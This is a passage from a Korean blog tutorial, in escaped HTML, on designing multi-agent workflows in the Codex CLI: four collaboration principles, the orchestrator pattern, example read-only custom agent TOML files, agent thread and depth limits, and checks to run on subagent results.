&lt;p data-ke-size=&quot;size16&quot;&gt;CLI에서는 실행 중에 &lt;code style=&quot;background: #f1f3f5; color: #c0392b; padding: 2px 6px; border-radius: 3px; font-size: 0.9em;&quot;&gt;/model&lt;/code&gt; 명령으로 모델을 바꿀 수 있고, 새 CLI 세션이나 &lt;code style=&quot;background: #f1f3f5; color: #c0392b; padding: 2px 6px; border-radius: 3px; font-size: 0.9em;&quot;&gt;codex exec&lt;/code&gt;(프롬프트를 인수로 전달해 대화 없이 한 번만 실행하는 서브명령)에서는 &lt;code style=&quot;background: #f1f3f5; color: #c0392b; padding: 2px 6px; border-radius: 3px; font-size: 0.9em;&quot;&gt;-m&lt;/code&gt; 또는 &lt;code style=&quot;background: #f1f3f5; color: #c0392b; padding: 2px 6px; border-radius: 3px; font-size: 0.9em;&quot;&gt;--model&lt;/code&gt; 플래그를 쓴다. 반복해서 같은 모델을 쓰고 싶을 때만 &lt;code style=&quot;background: #f1f3f5; color: #c0392b; padding: 2px 6px; border-radius: 3px; font-size: 0.9em;&quot;&gt;config.toml&lt;/code&gt; 기본값을 조정한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;요금과 플랜도 함께 봐야 한다. 여러 서브에이전트는 &quot;한 명의 Codex가 더 빨리 생각한다&quot;가 아니라 여러 모델 호출이 동시에 늘어나는 구조다. 공식 &lt;a style=&quot;color: #0066cc; text-decoration: none;&quot; href=&quot;https://developers.openai.com/codex/pricing&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;Pricing 문서&lt;/a&gt;를 확인하고, 현재 계정의 사용 가능 모델, 플랜 한도, API 키 사용 여부를 먼저 본다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;!-- 섹션 6 --&gt;
&lt;h2 id=&quot;section6&quot; style=&quot;font-size: 24px; color: #1a3a52; margin: 35px 0 20px; padding-bottom: 10px; border-bottom: 3px solid #cce5ff; font-weight: bold;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;6. 워크플로 설계 원칙&lt;/b&gt;&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;처음엔 이 순서로 생각하면 편하다. 각 원칙을 하나씩 살펴보자.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;왜 네 가지인가? 멀티 에이전트가 망가지는 지점은 대부분 같은 자리에서 반복된다. 분리되지 않은 일을 분리한 척 시키거나, 같은 파일을 동시에 고치게 두거나, 결과를 합치는 사람이 없거나, 중간 결과를 확인할 방법이 없거나.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;그래서 이 네 자리에 각각 가드레일을 세운 것이 아래 4원칙이다. 세부 구현보다 이 네 가지가 실수를 막는다.&lt;/p&gt;
&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;2142&quot; data-origin-height=&quot;1158&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/dqwf29/dJMcajvoIAw/ehNrkvck4kbXZylNnzr6v1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/dqwf29/dJMcajvoIAw/ehNrkvck4kbXZylNnzr6v1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/dqwf29/dJMcajvoIAw/ehNrkvck4kbXZylNnzr6v1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fdqwf29%2FdJMcajvoIAw%2FehNrkvck4kbXZylNnzr6v1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;2142&quot; height=&quot;1158&quot; data-origin-width=&quot;2142&quot; data-origin-height=&quot;1158&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;

&lt;div style=&quot;background-color: #f0f4ff; padding: 20px 24px; border-radius: 12px; border: 1px solid #b3c6ff; margin: 20px 0;&quot;&gt;&lt;b&gt;멀티 에이전트 협업 4원칙&lt;/b&gt;
&lt;ol style=&quot;margin: 12px 0 0; padding-left: 22px;&quot; data-ke-list-type=&quot;decimal&quot;&gt;
&lt;li style=&quot;margin-bottom: 10px;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;분리 가능성을 먼저 검증한다&lt;/b&gt; &amp;mdash; 진짜 독립 작업인가, 아니면 숨은 순서가 있는가. 숨은 의존성을 무시하면 Phase 2가 Phase 1 결과를 받지 못한다.&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 10px;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;읽기는 병렬, 쓰기는 직렬&lt;/b&gt; &amp;mdash; race condition은 여러 작업이 동시에 같은 대상을 건드릴 때 생기는 실행 순서 문제다. 같은 파일을 동시에 고치게 두면 충돌 가능성이 높다.&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 10px;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;통합 책임을 명시한다&lt;/b&gt; &amp;mdash; 누가 결과를 모으고 최종 판단하는지 적지 않으면, 각 에이전트가 자기 결과만 출력하고 아무도 합치지 않는다.&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 0;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;검증 가능한 산출을 남긴다&lt;/b&gt; &amp;mdash; 파일, 요약, 테스트 결과처럼 명시적 artifact(산출물: 에이전트가 남긴 확인 가능한 결과)가 없으면 중간 단계를 나중에 확인할 방법이 없다.&lt;/li&gt;
&lt;/ol&gt;
&lt;/div&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;원칙이 어떻게 실수를 막는지 두 가지로 비교해 봤다.&lt;/p&gt;
&lt;div style=&quot;display: flex; gap: 0; flex-wrap: wrap; margin: 15px 0;&quot;&gt;
&lt;div style=&quot;flex: 1 1 280px; padding: 14px 16px; background-color: #fff5f5; border: 1px solid #ffcccc; border-radius: 8px 0 0 8px;&quot;&gt;
&lt;p style=&quot;margin: 0 0 8px;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;문제 있는 지시&lt;/b&gt;&lt;/p&gt;
&lt;p style=&quot;margin: 0; font-family: monospace; font-size: 13px; color: #555;&quot; data-ke-size=&quot;size16&quot;&gt;&quot;api-agent와 test-agent가 동시에&lt;br /&gt;src/auth/session.ts를 수정해 줘.&quot;&lt;/p&gt;
&lt;/div&gt;
&lt;div style=&quot;flex: 1 1 280px; padding: 14px 16px; background-color: #f0fff4; border: 1px solid #b2dfdb; border-radius: 0 8px 8px 0; border-left: none;&quot;&gt;
&lt;p style=&quot;margin: 0 0 8px;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;이렇게 바꾸자&lt;/b&gt;&lt;/p&gt;
&lt;p style=&quot;margin: 0; font-family: monospace; font-size: 13px; color: #555;&quot; data-ke-size=&quot;size16&quot;&gt;&quot;api-agent는 탐색만, 수정은 merge-agent&lt;br /&gt;단독으로 Phase 2에서 진행한다.&quot;&lt;/p&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;p style=&quot;color: #555; font-size: 14px; margin: 4px 0 20px;&quot; data-ke-size=&quot;size16&quot;&gt;해설: 같은 파일을 동시에 수정하면 충돌 가능성이 높다. 탐색 단계를 분리하면 사고를 줄일 수 있다.&lt;/p&gt;
&lt;p style=&quot;color: #555; font-size: 14px; margin: 4px 0 20px;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;div style=&quot;display: flex; gap: 0; flex-wrap: wrap; margin: 15px 0;&quot;&gt;
&lt;div style=&quot;flex: 1 1 280px; padding: 14px 16px; background-color: #fff5f5; border: 1px solid #ffcccc; border-radius: 8px 0 0 8px;&quot;&gt;
&lt;p style=&quot;margin: 0 0 8px;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;문제 있는 지시&lt;/b&gt;&lt;/p&gt;
&lt;p style=&quot;margin: 0; font-family: monospace; font-size: 13px; color: #555;&quot; data-ke-size=&quot;size16&quot;&gt;&quot;각 에이전트가 분석 결과를&lt;br /&gt;잘 정리해서 돌려줘.&quot;&lt;/p&gt;
&lt;/div&gt;
&lt;div style=&quot;flex: 1 1 280px; padding: 14px 16px; background-color: #f0fff4; border: 1px solid #b2dfdb; border-radius: 0 8px 8px 0; border-left: none;&quot;&gt;
&lt;p style=&quot;margin: 0 0 8px;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;이렇게 바꾸자&lt;/b&gt;&lt;/p&gt;
&lt;p style=&quot;margin: 0; font-family: monospace; font-size: 13px; color: #555;&quot; data-ke-size=&quot;size16&quot;&gt;&quot;각 에이전트는 결과를&lt;br /&gt;reports/[역할].md 에 저장해 줘.&quot;&lt;/p&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;p style=&quot;color: #555; font-size: 14px; margin: 4px 0 20px;&quot; data-ke-size=&quot;size16&quot;&gt;해설: 파일로 남기면 나중에 어느 에이전트가 뭘 출력했는지 바로 확인할 수 있다.&lt;/p&gt;
&lt;p style=&quot;color: #555; font-size: 14px; margin: 4px 0 20px;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: bold;&quot; data-ke-size=&quot;size23&quot;&gt;6.1 명확한 배경 정보 + 완료 기준&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;워크플로 설계의 출발점은 단순하다. &lt;a style=&quot;color: #0066cc; text-decoration: none;&quot; href=&quot;https://developers.openai.com/codex/workflows&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;공식 Workflows 문서&lt;/a&gt;는 이렇게 말한다.&lt;/p&gt;
&lt;div style=&quot;background-color: #f8f9fa; padding: 15px 20px; border-left: 4px solid #6c757d; border-radius: 0 8px 8px 0; margin: 20px 0; font-style: italic; color: #555;&quot;&gt;
&lt;p style=&quot;margin: 0;&quot; data-ke-size=&quot;size16&quot;&gt;&quot;Codex works best when you treat it like a teammate with explicit context and a clear definition of 'done.'&quot;&lt;/p&gt;
&lt;p style=&quot;margin: 8px 0 0; font-size: 0.9em; color: #888;&quot; data-ke-size=&quot;size16&quot;&gt;(번역) &quot;명확한 컨텍스트와 '완료' 기준이 함께 주어지면 Codex는 팀원처럼 가장 잘 작동한다.&quot;&lt;/p&gt;
&lt;/div&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;팀원에게 일을 맡길 때처럼 배경과 완료 기준을 함께 적어야 한다. &quot;이 PR을 리뷰해 줘&quot;보다 &quot;main 브랜치와 비교해서 보안 위험만 파일 경로와 함께 정리해 줘&quot;가 훨씬 좋은 지시다. PR은 코드 변경 검토 요청이고, main 브랜치는 보통 기준이 되는 기본 브랜치다. 무엇을 봐야 하는지, 결과를 어떤 형태로 돌려줘야 하는지가 분명할수록 결과도 좋아진다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Workflows를 적용하기 전에는 &lt;a style=&quot;color: #0066cc; text-decoration: none;&quot; href=&quot;https://developers.openai.com/codex/prompting&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;Prompting 문서&lt;/a&gt;의 기본 원칙도 같이 보는 게 낫다. 서브에이전트도 결국 프롬프트 품질에 좌우되기 때문이다. 어떤 파일을 봐야 하는지, 어떤 결과를 돌려줘야 하는지, 무엇을 하면 안 되는지를 적지 않으면 병렬로 빨라지는 대신 여러 방향으로 엇나갈 수 있다.&lt;/p&gt;
&lt;div style=&quot;background-color: #f8fbff; padding: 16px 18px; border-radius: 10px; border-left: 5px solid #0066cc; margin: 18px 0;&quot;&gt;&lt;b&gt;CLI에서는 파일 경로를 더 명확히 적어야 한다&lt;/b&gt;
&lt;p style=&quot;margin: 10px 0 0;&quot; data-ke-size=&quot;size16&quot;&gt;공식 Workflows 문서에 따르면 IDE 확장은 열린 파일을 자동 컨텍스트로 포함하지만, CLI에서는 보통 파일 경로를 직접 언급하거나 &lt;code style=&quot;background: #f1f3f5; color: #c0392b; padding: 2px 6px; border-radius: 3px; font-size: 0.9em;&quot;&gt;/mention&lt;/code&gt;과 &lt;code style=&quot;background: #f1f3f5; color: #c0392b; padding: 2px 6px; border-radius: 3px; font-size: 0.9em;&quot;&gt;@&lt;/code&gt; 경로 자동완성을 사용해야 한다. 초보자는 &quot;이 프로젝트를 봐줘&quot;보다 &quot;src/auth/session.ts와 tests/auth를 기준으로 봐줘&quot;처럼 적는 편이 안전하다.&lt;/p&gt;
&lt;/div&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: bold;&quot; data-ke-size=&quot;size23&quot;&gt;6.2 오케스트레이터 패턴&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;복잡한 작업 흐름은 총괄 담당 1명과 역할별 작업자 여러 명으로 나누면 이해하기 쉽다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;메인 에이전트가 전체 목표와 완료 기준을 잡고, 서브에이전트가 각자 좁은 범위를 조사한 뒤 결과를 돌려주는 구조다.&lt;/p&gt;
&lt;div style=&quot;background-color: #f8f9fa; padding: 15px 20px; border-left: 4px solid #6c757d; border-radius: 0 8px 8px 0; margin: 20px 0; font-style: italic; color: #555;&quot;&gt;
&lt;p style=&quot;margin: 0;&quot; data-ke-size=&quot;size16&quot;&gt;&quot;Review this branch against main. Have pr_explorer map the affected code paths, reviewer find real risks, and docs_researcher verify the framework APIs that the patch relies on.&quot;&lt;/p&gt;
&lt;p style=&quot;margin: 8px 0 0; font-size: 0.9em; color: #888;&quot; data-ke-size=&quot;size16&quot;&gt;(번역) &quot;이 브랜치를 main과 비교해서 리뷰해라. pr_explorer가 영향받는 코드 경로를 파악하고, reviewer가 실제 위험을 찾고, docs_researcher가 패치가 의존하는 프레임워크 API를 공식 문서와 대조해서 확인한다.&quot;&lt;/p&gt;
&lt;/div&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;code style=&quot;background: #f1f3f5; color: #c0392b; padding: 2px 6px; border-radius: 3px; font-size: 0.9em;&quot;&gt;pr_explorer&lt;/code&gt;는 바뀐 코드가 어디에 영향을 주는지 찾고, &lt;code style=&quot;background: #f1f3f5; color: #c0392b; padding: 2px 6px; border-radius: 3px; font-size: 0.9em;&quot;&gt;reviewer&lt;/code&gt;는 실제 위험을 찾고, &lt;code style=&quot;background: #f1f3f5; color: #c0392b; padding: 2px 6px; border-radius: 3px; font-size: 0.9em;&quot;&gt;docs_researcher&lt;/code&gt;는 사용한 API가 공식 문서와 맞는지 확인한다. API는 프로그램끼리 서로 기능을 호출하는 약속이라고 보면 된다. 역할이 분명하면 마지막에 결과를 합치기도 쉽다(&lt;a style=&quot;color: #0066cc; text-decoration: none;&quot; href=&quot;https://developers.openai.com/codex/concepts/subagents&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;서브에이전트 문서&lt;/a&gt; 참조).&lt;/p&gt;
&lt;div style=&quot;background-color: #f3f0ff; padding: 16px 18px; border-radius: 10px; border-left: 5px solid #7950f2; margin: 18px 0;&quot;&gt;&lt;b&gt;실제 프로덕션 에이전트 해부: codex-rescue&lt;/b&gt;
&lt;p style=&quot;margin: 10px 0 6px;&quot; data-ke-size=&quot;size16&quot;&gt;오케스트레이터 패턴의 실제 구현체가 궁금하다면 superpowers 플러그인의 &lt;code style=&quot;background: #f1f3f5; color: #c0392b; padding: 2px 6px; border-radius: 3px; font-size: 0.9em;&quot;&gt;codex-rescue&lt;/code&gt; 에이전트가 좋은 참고 사례다. 이 에이전트는 세 가지 규칙만으로 설계되어 있다.&lt;/p&gt;
&lt;ul style=&quot;margin: 8px 0 0; padding-left: 20px;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li style=&quot;margin-bottom: 6px;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;단일 책임&lt;/b&gt;: Codex CLI 호출 하나만 담당한다. 저장소를 직접 탐색하거나 파일을 분석하는 일은 하지 않는다. 터미널 출력(stdout)을 그대로 돌려주는 것이 전부다.&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 6px;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;도구 제한&lt;/b&gt;: &lt;code style=&quot;background: #f1f3f5; color: #c0392b; padding: 2px 6px; border-radius: 3px; font-size: 0.9em;&quot;&gt;Bash&lt;/code&gt; 도구만 허용한다. 권한을 최소화하면 예상치 못한 부작용이 줄어든다. 에이전트가 할 수 있는 일을 적게 정의할수록 결과를 예측하기 쉽다.&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 0;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;모델 라우팅&lt;/b&gt;: 작업 복잡도에 따라 &lt;code style=&quot;background: #f1f3f5; color: #c0392b; padding: 2px 6px; border-radius: 3px; font-size: 0.9em;&quot;&gt;--model&lt;/code&gt;과 &lt;code style=&quot;background: #f1f3f5; color: #c0392b; padding: 2px 6px; border-radius: 3px; font-size: 0.9em;&quot;&gt;--effort&lt;/code&gt;를 조합한다. 무거운 모델을 모든 작업에 쓰지 않는다.&lt;/li&gt;
&lt;/ul&gt;
&lt;p style=&quot;margin: 12px 0 6px;&quot; data-ke-size=&quot;size16&quot;&gt;같은 원칙을 직접 만드는 에이전트 TOML에 적용하면 다음과 같다.&lt;/p&gt;
&lt;pre class=&quot;ini&quot; style=&quot;background: #1e1e1e; color: #d4d4d4; padding: 14px 18px; border-radius: 6px; font-family: 'Fira Code', 'Consolas', monospace; font-size: 13px; line-height: 1.6; overflow-x: auto; margin: 8px 0;&quot; data-ke-language=&quot;toml&quot;&gt;&lt;code&gt;# 모델 ID 참고: https://platform.openai.com/docs/codex
name = &quot;pr_reviewer&quot;
description = &quot;Security and test gap reviewer. Read-only.&quot;
model = &quot;codex-mini-latest&quot;
model_reasoning_effort = &quot;medium&quot;
sandbox_mode = &quot;read-only&quot;
developer_instructions = &quot;&quot;&quot;
Review only. Do not edit files.
Report findings with file path and line number.
Return a summary under 200 words.
&quot;&quot;&quot;&lt;/code&gt;&lt;/pre&gt;
&lt;p style=&quot;margin: 10px 0 0; font-size: 0.9em; color: #666;&quot; data-ke-size=&quot;size16&quot;&gt;superpowers 플러그인은 Claude Code 마켓플레이스에서 &lt;code style=&quot;background: #f1f3f5; color: #c0392b; padding: 2px 6px; border-radius: 3px; font-size: 0.9em;&quot;&gt;/install
        superpowers&lt;/code&gt;로 설치하면 바로 확인할 수 있다. 이 단일 책임&amp;middot;도구 최소화&amp;middot;모델 라우팅 세 원칙은 오픈소스 에이전트 생태계에서 반복적으로 나타나는 패턴이다. &lt;a style=&quot;color: #0066cc; text-decoration: none;&quot; href=&quot;https://goddaehee.tistory.com/600&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;Part 5 (MCP &amp;middot; Plugins &amp;middot; Skills)&lt;/a&gt;에서는 이 원칙을 직접 플러그인으로 만들어 배포하는 법을 다룬다.&lt;/p&gt;
&lt;/div&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: bold;&quot; data-ke-size=&quot;size23&quot;&gt;6.3 커스텀 에이전트 파일 정의&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;처음부터 커스텀 에이전트를 만들 필요는 없다. 기본 에이전트로도 충분히 실습할 수 있다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;다만 같은 역할을 계속 반복한다면 TOML 파일로 에이전트를 정의해 재사용할 수 있다. TOML은 설정 파일 형식이고, 여기서는 &quot;이 에이전트의 이름, 설명, 지시문을 파일로 저장해 둔다&quot; 정도로 이해하면 된다.&lt;/p&gt;
&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;2126&quot; data-origin-height=&quot;1164&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/0nJqe/dJMcacXlKns/RpAAq4mNKrOQDbaECvoOKK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/0nJqe/dJMcacXlKns/RpAAq4mNKrOQDbaECvoOKK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/0nJqe/dJMcacXlKns/RpAAq4mNKrOQDbaECvoOKK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2F0nJqe%2FdJMcacXlKns%2FRpAAq4mNKrOQDbaECvoOKK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;2126&quot; height=&quot;1164&quot; data-origin-width=&quot;2126&quot; data-origin-height=&quot;1164&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;

&lt;table style=&quot;width: 100%; border-collapse: collapse; margin: 15px 0; font-size: 15px;&quot; data-ke-align=&quot;alignLeft&quot;&gt;&lt;caption style=&quot;text-align: left; color: #495057; font-size: 14px; margin-bottom: 8px;&quot;&gt;커스텀 에이전트를 만들지 판단하는 기준&lt;/caption&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th style=&quot;background-color: #e8f4f8; border: 1px solid #b3d9ff; padding: 10px; text-align: left; font-weight: 600;&quot; scope=&quot;col&quot;&gt;상황&lt;/th&gt;
&lt;th style=&quot;background-color: #e8f4f8; border: 1px solid #b3d9ff; padding: 10px; text-align: left; font-weight: 600;&quot; scope=&quot;col&quot;&gt;판단&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;한 번 해보는 저장소 탐색&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;프롬프트에 직접 역할을 적는다&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;매 PR마다 같은 보안 리뷰를 반복&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;커스텀 에이전트 후보&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;팀 전체가 같은 역할을 재사용&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;&lt;code style=&quot;background: #f1f3f5; color: #c0392b; padding: 2px 6px; border-radius: 3px; font-size: 0.9em;&quot;&gt;.codex/agents/&lt;/code&gt;에 두고 버전 관리 검토&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;a style=&quot;color: #0066cc; text-decoration: none;&quot; href=&quot;https://developers.openai.com/codex/concepts/subagents&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;공식 문서&lt;/a&gt; 기준으로 커스텀 에이전트의 필수 필드는 &lt;code style=&quot;background: #f1f3f5; color: #c0392b; padding: 2px 6px; border-radius: 3px; font-size: 0.9em;&quot;&gt;name&lt;/code&gt;, &lt;code style=&quot;background: #f1f3f5; color: #c0392b; padding: 2px 6px; border-radius: 3px; font-size: 0.9em;&quot;&gt;description&lt;/code&gt;, &lt;code style=&quot;background: #f1f3f5; color: #c0392b; padding: 2px 6px; border-radius: 3px; font-size: 0.9em;&quot;&gt;developer_instructions&lt;/code&gt;다. 전역 에이전트는 &lt;code style=&quot;background: #f1f3f5; color: #c0392b; padding: 2px 6px; border-radius: 3px; font-size: 0.9em;&quot;&gt;~/.codex/agents/&lt;/code&gt;, 프로젝트 에이전트는 &lt;code style=&quot;background: #f1f3f5; color: #c0392b; padding: 2px 6px; border-radius: 3px; font-size: 0.9em;&quot;&gt;.codex/agents/&lt;/code&gt;에 둔다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;아주 작은 예시는 다음과 같다. 다만 에이전트 파일의 &lt;code style=&quot;background: #f1f3f5; color: #c0392b; padding: 2px 6px; border-radius: 3px; font-size: 0.9em;&quot;&gt;sandbox_mode = &quot;read-only&quot;&lt;/code&gt;만으로 항상 읽기 전용 실행이 보장된다고 이해하면 안 된다. 서브에이전트는 현재 세션의 권한&amp;middot;승인 설정 영향을 받으므로, 처음에는 현재 CLI 권한을 확인하고 프롬프트에도 &lt;code style=&quot;background: #f1f3f5; color: #c0392b; padding: 2px 6px; border-radius: 3px; font-size: 0.9em;&quot;&gt;Do not edit files.&lt;/code&gt;를 함께 적는 편이 안전하다.&lt;/p&gt;
&lt;pre class=&quot;ini&quot; style=&quot;background: #1e1e1e; color: #d4d4d4; padding: 16px 20px; border-radius: 8px; font-family: 'Fira Code', 'Consolas', monospace; font-size: 14px; line-height: 1.6; overflow-x: auto; margin: 16px 0;&quot; data-ke-language=&quot;toml&quot;&gt;&lt;code&gt;# 모델 ID 참고: https://platform.openai.com/docs/codex
name = &quot;docs_researcher&quot;
description = &quot;Official documentation checker for API and framework behavior.&quot;
model = &quot;codex-mini-latest&quot;
model_reasoning_effort = &quot;medium&quot;
sandbox_mode = &quot;read-only&quot;
developer_instructions = &quot;&quot;&quot;
Use official documentation first.
Return concise findings with source links.
Do not edit files.
&quot;&quot;&quot;&lt;/code&gt;&lt;/pre&gt;
&lt;div style=&quot;background-color: #fff8e6; padding: 16px 18px; border-radius: 10px; border-left: 5px solid #f0ad4e; margin: 18px 0;&quot;&gt;&lt;b&gt;에이전트 수 제한도 안전장치다&lt;/b&gt;
&lt;p style=&quot;margin: 10px 0 0;&quot; data-ke-size=&quot;size16&quot;&gt;공식 &lt;a style=&quot;color: #0066cc; text-decoration: none;&quot; href=&quot;https://developers.openai.com/codex/config-reference&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;Config Reference&lt;/a&gt; 기준으로 &lt;code style=&quot;background: #f1f3f5; color: #c0392b; padding: 2px 6px; border-radius: 3px; font-size: 0.9em;&quot;&gt;agents.max_threads&lt;/code&gt;의 기본값은 6, &lt;code style=&quot;background: #f1f3f5; color: #c0392b; padding: 2px 6px; border-radius: 3px; font-size: 0.9em;&quot;&gt;agents.max_depth&lt;/code&gt;의 기본값은 1이다. 동시에 너무 많은 스레드가 열리거나, 서브에이전트가 다시 하위 에이전트를 계속 만드는 일을 제한하기 위한 값이다. 초보자는 이 값을 올리기보다 작업을 더 작게 나누는 편이 안전하다.&lt;/p&gt;
&lt;/div&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: bold;&quot; data-ke-size=&quot;size23&quot;&gt;6.4 결과 취합은 요약으로 돌려받는다&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;서브에이전트의 가공되지 않은 긴 로그나 추적 기록 전체를 메인 스레드로 가져오면 다시 대화창이 지저분해진다. 그래서 프롬프트에 &quot;핵심만 요약해 줘&quot;, &quot;중요한 결론만 돌려줘&quot;라고 명시하는 것이 좋다. 영어 프롬프트를 쓴다면 &quot;summarize the findings&quot;나 &quot;return distilled takeaways&quot;처럼 적으면 된다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: bold;&quot; data-ke-size=&quot;size23&quot;&gt;6.5 결과를 믿기 전에 확인할 것&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;서브에이전트가 여러 개면 결과도 그럴듯해 보이기 쉽다. 하지만 요약이 깔끔하다고 해서 바로 맞는 것은 아니다. 최소한 아래 네 가지는 확인한다.&lt;/p&gt;
&lt;ul style=&quot;padding-left: 20px; margin: 15px 0;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;파일 경로와 줄 번호가 실제로 존재하는지 확인한다.&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;테스트를 실행했다면 어떤 명령을 실행했고, 성공/실패 결과가 무엇인지 확인한다.&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;API나 프레임워크 동작을 말한다면 공식 문서 링크가 붙어 있는지 확인한다.&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 0;&quot;&gt;서로 다른 서브에이전트의 결론이 충돌하면, 메인 스레드에서 다시 근거를 비교한 뒤 결정한다.&lt;/li&gt;
&lt;/ul&gt;
&lt;!-- 섹션 7 --&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
